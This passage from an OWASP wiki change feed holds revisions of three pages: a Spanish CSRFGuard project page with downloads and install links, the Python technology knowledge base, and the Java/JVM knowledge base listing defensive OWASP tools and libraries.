&lt;br /&gt;
== Descargas ==&lt;br /&gt;
&lt;br /&gt;
=== Versión 1===&lt;br /&gt;
&lt;br /&gt;
[http://www.owasp.org/index.php/Image:CSRF_Guard.zip Click aquí] para descargar la ultima versión de la serie OWASP CSRFGuard 1.x.&lt;br /&gt;
&lt;br /&gt;
=== Versión 2===&lt;br /&gt;
&lt;br /&gt;
[http://www.owasp.org/index.php/Image:OWASP-CSRFGuard-2.0.jar Click aquí] para descargar la ultima versión binaria de OWASP CSRFGuard 2.0.&lt;br /&gt;
&lt;br /&gt;
[http://www.owasp.org/index.php/Image:OWASP_CSRFGuard-2.0-src.zip Click aquí] para descargar la ultima versión de OWASP CSRFGuard 2.0 fuente, binarios y archivos muestra de configuración '''(Recomendado)'''.&lt;br /&gt;
&lt;br /&gt;
[http://www.owasp.org/images/c/c9/CSRF_DangerDetectionDefenses.ppt Click aquí] para descargar la presentación del autor en la conferencia OWASP 2007 en San José acerca de los peligros de CSRF y una breve descripción de CSRF Guard y CSRF Tester.&lt;br /&gt;
&lt;br /&gt;
== Instrucciones de instalación ==&lt;br /&gt;
&lt;br /&gt;
[http://www.owasp.org/index.php/CSRFGuard_1.x_Installation Click aquí] para ver las instrucciones de instalación de la serie OWASP CSRFGuard 1.0.&lt;br /&gt;
&lt;br /&gt;
[http://www.owasp.org/index.php/CSRFGuard_2.0_Installation Click aquí] para ver las instrucciones de instalación de la serie OWASP CSRFGuard 2.0.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Plan de trabajo ==&lt;br /&gt;
&lt;br /&gt;
[https://www.owasp.org/index.php/CSRF_Guard_2.2_Roadmap Click aquí] para ver el plan de trabajo (roadmap) para la ultima versión de desarrollo de CSRFGuard. Siéntase libre de agregar sus propios requerimientos de cambios o enviarme parches/retos. &lt;br /&gt;
&lt;br /&gt;
==CSRF Testing Tool==&lt;br /&gt;
&lt;br /&gt;
Vea la herramienta [http://www.owasp.org/index.php/Category:OWASP_CSRFTester_Project OWASP CSRF Tester] la cual le permite probar vulnerabilidades de CSRF. Esta herramienta también esta escrita en Java.&lt;br /&gt;
&lt;br /&gt;
==Comentarios y participación ==&lt;br /&gt;
&lt;br /&gt;
Esperamos que encuentre útil a CSRFGuard. Por favor contribuya con el proyecto enviando sus comentarios, preguntas y sugerencias a OWASP. Gracias!&lt;br /&gt;
&lt;br /&gt;
==Proyectos Similares==&lt;br /&gt;
&lt;br /&gt;
Hay un pequeño numero de otros proyectos que implementan el concepto de token de petición único similar al de CSRFGuard. Son los siguientes:&lt;br /&gt;
&lt;br /&gt;
:*http://www.owasp.org/index.php/PHP_CSRF_Guard&lt;br /&gt;
:*http://www.thespanner.co.uk/2007/10/19/jsck/&lt;br /&gt;
:*http://www.owasp.org/index.php/.Net_CSRF_Guard&lt;br /&gt;
&lt;br /&gt;
==Donaciones==&lt;br /&gt;
&lt;br /&gt;
OWASP es puramente una comunidad open source impulsada por el esfuerzo. Como tal, todos los proyectos y esfuerzos de investigación son contribuidos y mantenidos con un “tiempo libre” individual. Si encuentra útil este o algún otro proyecto, por favor apoye a OWASP con una  [https://www.owasp.org/index.php/Contributions donación].&lt;br /&gt;
&lt;br /&gt;
==Patrocinadores del proyecto== &lt;br /&gt;
&lt;br /&gt;
El proyecto OWASP CSRFGuard es dirigido por Eric Sheridan (eric dot sheridan at owasp dot org) y patrocinado por [http://www.aspectsecurity.com https://www.owasp.org/images/d/d1/Aspect_logo.gif].&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP_Validation_Project]]&lt;br /&gt;
[[Category:OWASP_Project|CSRFGuard Project/es]]&lt;br /&gt;
[[Category:Java]]&lt;/div&gt;</summary>
		<author><name>Imifos</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Category:Python&amp;diff=208003</id>
		<title>Category:Python</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Category:Python&amp;diff=208003"/>
				<updated>2016-02-02T15:16:58Z</updated>
		
		<summary type="html">&lt;p&gt;Imifos: /* Team */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
= Main =&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== About ==&lt;br /&gt;
&lt;br /&gt;
The Python technology knowledge base is the clearing house for all information related to building secure web/distributed applications and services based on Python and Python related technologies. The focus of the project is on guidance for developers and architects using Python frameworks and Python based technologies for web and distributed application development, on OWASP components that use Python and on participation in OWASP projects that use Python technologies. Moreover, we aim to provide security related guidance for system administrators managing Python and Python based applications and tools.&lt;br /&gt;
&lt;br /&gt;
A different aspect is using Python as active languages for writing security related tools. Due to its presence on all kind of systems and the availability and power of security libraries, it is one of the major programming languages to implement security applications and scripts.&lt;br /&gt;
&lt;br /&gt;
Community content is key to security information. &lt;br /&gt;
&lt;br /&gt;
==Purpose==&lt;br /&gt;
&lt;br /&gt;
* Provide deep, rich guidance for Python developers in using the security features of Python and of Python frameworks.&lt;br /&gt;
* Guide system administrators in managing Python and Python related components and applications.&lt;br /&gt;
* Create guidance for use of OWASP components that are designed for use with the Python platform.&lt;br /&gt;
* Focus on information about working with and on OWASP tools built using Python technologies.&lt;br /&gt;
* Provide a stream of security related information, like vulnerabilities and security patches, related to the Python universe.&lt;br /&gt;
* A different aspect is using Python as active languages for writing security related tools. &lt;br /&gt;
* Build an ecosystem allowing to all actors interested to discuss, share and learn.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Licensing ==&lt;br /&gt;
&lt;br /&gt;
OWASP Python technology knowledge base is free to use. It is licensed under the http://creativecommons.org/licenses/by-sa/3.0/ Creative Commons Attribution-ShareAlike 3.0 license], so you can copy, distribute and transmit the work, and you can adapt it, and use it commercially, but all provided that you attribute the work and if you alter, transform, or build upon this work, you may distribute the resulting work only under the same or similar license to this one.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== Team ==&lt;br /&gt;
&lt;br /&gt;
Lead: none.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Meta ==&lt;br /&gt;
&lt;br /&gt;
Last Update: 1/2016&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Other Resources ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Related Projects ==&lt;br /&gt;
&lt;br /&gt;
* [[OWASP_Project|OWASP Project Repository]]&lt;br /&gt;
* [[Language|Languages Repository]]&lt;br /&gt;
* [[OWASP_.NET_Project|.NET Project]]&lt;br /&gt;
* [[Ruby|Ruby]]&lt;br /&gt;
* [[PHP|PHP]]&lt;br /&gt;
* [[Perl|Perl]]&lt;br /&gt;
* [[Python|Python]]&lt;br /&gt;
* [[JavaScript|JavaScript]]&lt;br /&gt;
* [[C/C++|C/C++]]&lt;br /&gt;
* [[SQL|SQL, PL/SQL, DB Scripting]]&lt;br /&gt;
* [[OWASP_Internet_of_Things_Project|OWASP IoT Security]]&lt;br /&gt;
* [[OWASP_Mobile_Security_Project|OWASP Mobile Security]]&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Resources =&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding:0; margin:0; margin-top:10px; text-align:left; width:100%;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; style=&amp;quot;border-right: 1px dotted gray; padding-right:25px; width:30%; float:left;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== Mailing List ==&lt;br /&gt;
&lt;br /&gt;
[https://lists.owasp.org/mailman/listinfo/owasp_python_security_project OWASP Python Security Project Mailing List]&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; style=&amp;quot;padding-left:25px; width:30%; min-width:30%; border-right:1px dotted gray; padding-right:25px; float:left;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== Twitter Feed ==&lt;br /&gt;
&lt;br /&gt;
(none)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; style=&amp;quot;padding-left:25px; width:30%; float:left;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== Code Repository ==&lt;br /&gt;
&lt;br /&gt;
(none)&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Related Resources ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[OWASP_Project|OWASP Project Repository]]&lt;br /&gt;
&lt;br /&gt;
[[Language|Languages Repository]]&lt;br /&gt;
&lt;br /&gt;
[[OWASP_.NET_Project|.NET Project]]&lt;br /&gt;
&lt;br /&gt;
[[Ruby|Ruby Technology Knowledge Base]]&lt;br /&gt;
&lt;br /&gt;
[[PHP|PHP Technology Knowledge Base]]&lt;br /&gt;
&lt;br /&gt;
[[Perl|Perl Technology Knowledge Base]]&lt;br /&gt;
&lt;br /&gt;
[[Python|Python Technology Knowledge Base]]&lt;br /&gt;
&lt;br /&gt;
[[JavaScript|JavaScript Technology Knowledge Base]]&lt;br /&gt;
&lt;br /&gt;
[[C/C++|C/C++ Technology Knowledge Base]]&lt;br /&gt;
&lt;br /&gt;
[[SQL|SQL, PL/SQL and DB Scripting Technology Knowledge Base]]&lt;br /&gt;
&lt;br /&gt;
[[OWASP_Internet_of_Things_Project|OWASP IoT Security Project]]&lt;br /&gt;
&lt;br /&gt;
[[OWASP_Mobile_Security_Project|OWASP Mobile Security Project]]&lt;br /&gt;
&lt;br /&gt;
= Pages =&lt;br /&gt;
&lt;br /&gt;
== Tools Chain ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;TBD&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Libraries ==&lt;br /&gt;
&lt;br /&gt;
{| width=&amp;quot;100%&amp;quot; &lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; | [[OWASP_Python_Security_Project]]&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;20&amp;quot; | &amp;amp;nbsp;&lt;br /&gt;
| Python Security is a free, open source, OWASP project that aims at creating a hardened version of python that makes it easier for security professionals and developers to write applications more resilient to attacks and manipulations. The project is designed to explore how web applications can be developed in python by approaching the problem from three different angles: white-box analysis, structural and functional analysis, black-box analysis, identify and address security-related issues, develop security hardened python suitable for high-risk and high-security environments&lt;br /&gt;
| http://www.pythonsecurity.org/&lt;br /&gt;
|-&lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; | &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; | &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;20&amp;quot; | &amp;amp;nbsp;&lt;br /&gt;
| &amp;amp;nbsp;&lt;br /&gt;
| &amp;amp;nbsp;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== General Documents ==&lt;br /&gt;
&lt;br /&gt;
{| width=&amp;quot;100%&amp;quot;&lt;br /&gt;
| [[OWASP_Secure_Coding_Practices_-_Quick_Reference_Guide|OWASP Secure Coding Practices - Quick Reference Guide]]&lt;br /&gt;
| [[OWASP_Codes_of_Conduct|OWASP Codes of Conduct]]&lt;br /&gt;
| [[Cheat_Sheets|OWASP Cheat Sheets Series]]&lt;br /&gt;
|- &lt;br /&gt;
| [[OWASP_Testing_Project|OWASP Testing Project]]&lt;br /&gt;
| [[OWASP_Top_Ten_Project|OWASP Web Top 10]]&lt;br /&gt;
| [[OWASP_Vulnerable_Web_Applications_Directory_Project|OWASP Vulnerable Web Applications Directory]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Tasks and Roadmap =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Ongoing Operations ==&lt;br /&gt;
&lt;br /&gt;
(coming soon)&lt;br /&gt;
&lt;br /&gt;
{| width=&amp;quot;100%&amp;quot; &lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; | &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;20&amp;quot; | &amp;amp;nbsp;&lt;br /&gt;
| &amp;amp;nbsp;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Upcoming Operations ==&lt;br /&gt;
&lt;br /&gt;
None at the moment. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{| width=&amp;quot;100%&amp;quot; &lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; | Python security related net resources guide&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;20&amp;quot; | &amp;amp;nbsp;&lt;br /&gt;
| The Python Project is principally about creating deep, rich guidance for Python developers using all kind of security resources. The idea is to have an effort of building a internet resource guide for everything around the Python universe. Information, blogs, articles, tools, test servers and more. Important however is that this list is seriously curated.&lt;br /&gt;
|-&lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; | &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; | Concrete guideline for Python developers&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;20&amp;quot; | &amp;amp;nbsp;&lt;br /&gt;
| Clear checklists, around various topics, language, servers and frameworks.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
== Archived Operations ==&lt;br /&gt;
&lt;br /&gt;
None at the moment. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Get involved =&lt;br /&gt;
&lt;br /&gt;
There are many ways of getting involved in an OWASP wiki bases.&lt;br /&gt;
&lt;br /&gt;
The first step would be to establish contact with the project leaders and/or the entire team. This can be done using a direct and private message, or by joining the public mailing list to say hello.&lt;br /&gt;
&lt;br /&gt;
When it comes to participating in project activities, everything depends on the time you are willing and able to invest. It is however very important to not jump into too many things at the beginning, later having to back out or to let unfinished things behind you. It is much better to start with small tasks, increasing intensity and investment over time. &lt;br /&gt;
&lt;br /&gt;
Please also be patient with expecting the &amp;quot;merge&amp;quot; of your work into the existing project pages and code. As everywhere in live, trust has to be built-up. &lt;br /&gt;
&lt;br /&gt;
The Python Project has currently multiple tasks open, which can be found on the adequate section of this page. Not all tasks require a wiki account. Please take something you are interested in and start participating. &lt;br /&gt;
Work load is not the only outcome when participating in open projects. You are getting a lot of things back: recognition, satisfaction, knowledge and contacts, sometime friends. &lt;br /&gt;
&lt;br /&gt;
Sounds cool? Then jump in...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Archives =&lt;br /&gt;
&lt;br /&gt;
(Nothing yet)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;hr/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
__NOTOC__&lt;br /&gt;
&amp;lt;headertabs /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''IMPORTANT: all pages of these project are currently under review. A lot are outdated and are in the process of being removed or updated.'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Wikimedia insert classified list here --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Technology]]&lt;br /&gt;
[[Category:Language]]&lt;/div&gt;</summary>
		<author><name>Imifos</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Category:Java&amp;diff=207994</id>
		<title>Category:Java</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Category:Java&amp;diff=207994"/>
				<updated>2016-02-02T14:39:25Z</updated>
		
		<summary type="html">&lt;p&gt;Imifos: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Main =&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== About ==&lt;br /&gt;
&lt;br /&gt;
The OWASP Java™ and JVM Technology Knowledge Base is the clearing house for all information related to building secure web/distributed applications and services based on Java and JVM technologies. The focus of these pages is on guidance for developers and architects using Java frameworks and JVM based technologies for web application development, on OWASP components that use Java and on participation in OWASP projects that use Java and JVM technologies. Moreover, we aim to provide security related guidance for system administrators managing Java and JVM based applications and tools.&lt;br /&gt;
&lt;br /&gt;
The project is not limited to Java. It aims to also address topics around the JVM in general.&lt;br /&gt;
&lt;br /&gt;
Community content is key to security information. The project depends on content from developers throughout the Java and JVM ecosystem.&lt;br /&gt;
&lt;br /&gt;
==Purpose==&lt;br /&gt;
&lt;br /&gt;
* Provide deep, rich guidance for Java developers in using the security features of Java and of Java frameworks.&lt;br /&gt;
* Address security in relation to the Java Virtual Machine and derived technologies.&lt;br /&gt;
* Guide system administrators in managing Java and JVM related components and applications.&lt;br /&gt;
* Create guidance for use of OWASP components that are designed for use with Java or other JVM languages.&lt;br /&gt;
* Focus on information about working with and on OWASP tools built using Java or other JVM technologies.&lt;br /&gt;
* Provide a stream of security related information, like vulnerabilities and security patches, related to the Java and JVM universe.&lt;br /&gt;
* Build an ecosystem allowing to all actors interested to discuss, share and learn.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Licensing ==&lt;br /&gt;
&lt;br /&gt;
OWASP Java™ and JVM Technology Knowledge Base is free to use. It is licensed under the http://creativecommons.org/licenses/by-sa/3.0/ Creative Commons Attribution-ShareAlike 3.0 license], so you can copy, distribute and transmit the work, and you can adapt it, and use it commercially, but all provided that you attribute the work and if you alter, transform, or build upon this work, you may distribute the resulting work only under the same or similar license to this one.&lt;br /&gt;
&lt;br /&gt;
Oracle® and Java™ are [http://www.oracle.com/us/legal/trademarks/index.html|registered trademarks of Oracle] and/or its affiliates. Other names may be trademarks of their respective owners.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== What's Hot! ==&lt;br /&gt;
&lt;br /&gt;
See the &amp;quot;Tasks and Roadmap&amp;quot; tab for more information. &lt;br /&gt;
&lt;br /&gt;
[[OWASP Java Project WIPRO 1 2015|Wiki Pages Review Operation - 2015/2016]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; style=&amp;quot;padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:OWASP_Java_Wiki_logo.png|frame]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Team ==&lt;br /&gt;
&lt;br /&gt;
TBD&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Meta ==&lt;br /&gt;
&lt;br /&gt;
Last Update: 1/2016&lt;br /&gt;
&lt;br /&gt;
Last Pade Modification: '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Other Resources ==&lt;br /&gt;
&lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/java-project Mailing List]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/owasp GitHub (OWASP)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Related Projects ==&lt;br /&gt;
&lt;br /&gt;
* [[OWASP_Project|OWASP Project Repository]]&lt;br /&gt;
* [[Language|Languages Repository]]&lt;br /&gt;
* [[OWASP_.NET_Project|.NET Project]]&lt;br /&gt;
* [[Ruby|Ruby]]&lt;br /&gt;
* [[PHP|PHP]]&lt;br /&gt;
* [[Perl|Perl]]&lt;br /&gt;
* [[Python|Python]]&lt;br /&gt;
* [[JavaScript|JavaScript]]&lt;br /&gt;
* [[C/C++|C/C++]]&lt;br /&gt;
* [[SQL|SQL, PL/SQL, DB Scripting]]&lt;br /&gt;
* [[OWASP_Internet_of_Things_Project|OWASP IoT Security]]&lt;br /&gt;
* [[OWASP_Mobile_Security_Project|OWASP Mobile Security]]&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Resources =&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding:0; margin:0; margin-top:10px; text-align:left; width:100%;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; style=&amp;quot;border-right: 1px dotted gray; padding-right:25px; width:30%; float:left;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== Mailing List ==&lt;br /&gt;
&lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/java-project OWASP Java and JVM Technologies Mailing List]&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; style=&amp;quot;padding-left:25px; width:30%; min-width:30%; border-right:1px dotted gray; padding-right:25px; float:left;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== Twitter Feed ==&lt;br /&gt;
&lt;br /&gt;
[https://twitter.com/owasp Twitter, OWASP]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; style=&amp;quot;padding-left:25px; width:30%; float:left;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== Code Repository ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/owasp GitHub OWASP Global Repository]&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Related Project Resources ==&lt;br /&gt;
&lt;br /&gt;
[[OWASP_Project|OWASP Project Repository]]&lt;br /&gt;
&lt;br /&gt;
[[Language|Languages Repository]]&lt;br /&gt;
&lt;br /&gt;
[[OWASP_.NET_Project|.NET Project]]&lt;br /&gt;
&lt;br /&gt;
[[Ruby|Ruby Technology Knowledge Base]]&lt;br /&gt;
&lt;br /&gt;
[[PHP|PHP Technology Knowledge Base]]&lt;br /&gt;
&lt;br /&gt;
[[Perl|Perl Technology Knowledge Base]]&lt;br /&gt;
&lt;br /&gt;
[[Python|Python Technology Knowledge Base]]&lt;br /&gt;
&lt;br /&gt;
[[JavaScript|JavaScript Technology Knowledge Base]]&lt;br /&gt;
&lt;br /&gt;
[[C/C++|C/C++ Technology Knowledge Base]]&lt;br /&gt;
&lt;br /&gt;
[[SQL|SQL, PL/SQL and DB Scripting Technology Knowledge Base]]&lt;br /&gt;
&lt;br /&gt;
[[OWASP_Internet_of_Things_Project|OWASP IoT Security Project]]&lt;br /&gt;
&lt;br /&gt;
[[OWASP_Mobile_Security_Project|OWASP Mobile Security Project]]&lt;br /&gt;
&lt;br /&gt;
= Related OWASP Project Pages =&lt;br /&gt;
&lt;br /&gt;
== Tools Chain ==&lt;br /&gt;
&lt;br /&gt;
{| width=&amp;quot;100%&amp;quot; &lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; | [[OWASP_SonarQube_Project|OWASP SonarQube Project]]&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;20&amp;quot; | &amp;amp;nbsp;&lt;br /&gt;
| The first goal of the OWASP SonarQube Project is to a create a referential of check specifications targetting OWASP vulnerabilities and that can be detected by SAST tools (Static Application Security Testing). From there, the second goal is to provide a reference implementations of most of those checks in the Open Source SonarQube language analysers (Java, JavaScript, PHP and C#). SonarQube is an Open Source platform for managing code quality.&lt;br /&gt;
|-&lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; | &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; | [[OWASP_Dependency_Check|OWASP Dependency Check]]&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;20&amp;quot; | &amp;amp;nbsp;&lt;br /&gt;
| Dependency-Check is a utility that identifies project dependencies and checks if there are any known, publicly disclosed, vulnerabilities. Currently Java, .NET, Ruby, Node.js, and Python projects are supported.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Libraries ==&lt;br /&gt;
&lt;br /&gt;
{| width=&amp;quot;100%&amp;quot; &lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; | [[OWASP_Java_HTML_Sanitizer|OWASP Java HTML Sanitizer]]&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;20&amp;quot; | &amp;amp;nbsp;&lt;br /&gt;
| The OWASP HTML Sanitizer is a fast and easy to configure HTML Sanitizer written in Java which lets you include HTML authored by third-parties in your web application while protecting against XSS.&lt;br /&gt;
|-&lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; | &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; | [[OWASP_Java_Encoder_Project|OWASP Java Encoder Project]]&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;20&amp;quot; | &amp;amp;nbsp;&lt;br /&gt;
| The OWASP Java Encoder is a Java 1.5+ simple-to-use drop-in high-performance encoder class with no dependencies and little baggage. This project will help Java web developers defend against Cross Site Scripting.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== General Documents ==&lt;br /&gt;
&lt;br /&gt;
{| width=&amp;quot;100%&amp;quot;&lt;br /&gt;
| [[OWASP_Secure_Coding_Practices_-_Quick_Reference_Guide|OWASP Secure Coding Practices - Quick Reference Guide]]&lt;br /&gt;
| [[OWASP_Codes_of_Conduct|OWASP Codes of Conduct]]&lt;br /&gt;
| [[Cheat_Sheets|OWASP Cheat Sheets Series]]&lt;br /&gt;
|- &lt;br /&gt;
| [[OWASP_Testing_Project|OWASP Testing Project]]&lt;br /&gt;
| [[OWASP_Top_Ten_Project|OWASP Web Top 10]]&lt;br /&gt;
| [[OWASP_Vulnerable_Web_Applications_Directory_Project|OWASP Vulnerable Web Applications Directory]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Retired, Inactive or Outdated Projects ==&lt;br /&gt;
&lt;br /&gt;
{| width=&amp;quot;100%&amp;quot; &lt;br /&gt;
| colspan=&amp;quot;3&amp;quot; | [[https://www.owasp.org/index.php/OWASP_ESAPI#tab=Downloads|OWASP ESAPI Project Java Implementation]]&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;20&amp;quot; | &amp;amp;nbsp;&lt;br /&gt;
| The Java and Java EE implementation of ESAPI Project is outdated and integrates various security issues, according to the bug tracker. It is strongly recommended to not employ this library in production code anymore and use alternative OWASP libraries instead. It still is useful for learning purposes.&lt;br /&gt;
| width=&amp;quot;20&amp;quot; | &amp;amp;nbsp;&lt;br /&gt;
| [[https://owasp-esapi.atlassian.net/projects/ESAPILEG/issues/ESAPILEG-309?filter=allopenissues|Bug Tracker]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Tasks and Roadmap =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Ongoing Operations ==&lt;br /&gt;
&lt;br /&gt;
{| width=&amp;quot;100%&amp;quot; &lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; | [[OWASP Java Project WIPRO 1 2015|Wiki Pages Review Operation - 2015/2016]]&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;20&amp;quot; | &amp;amp;nbsp;&lt;br /&gt;
| General review of all Java and JVM related pages in the wiki. &lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
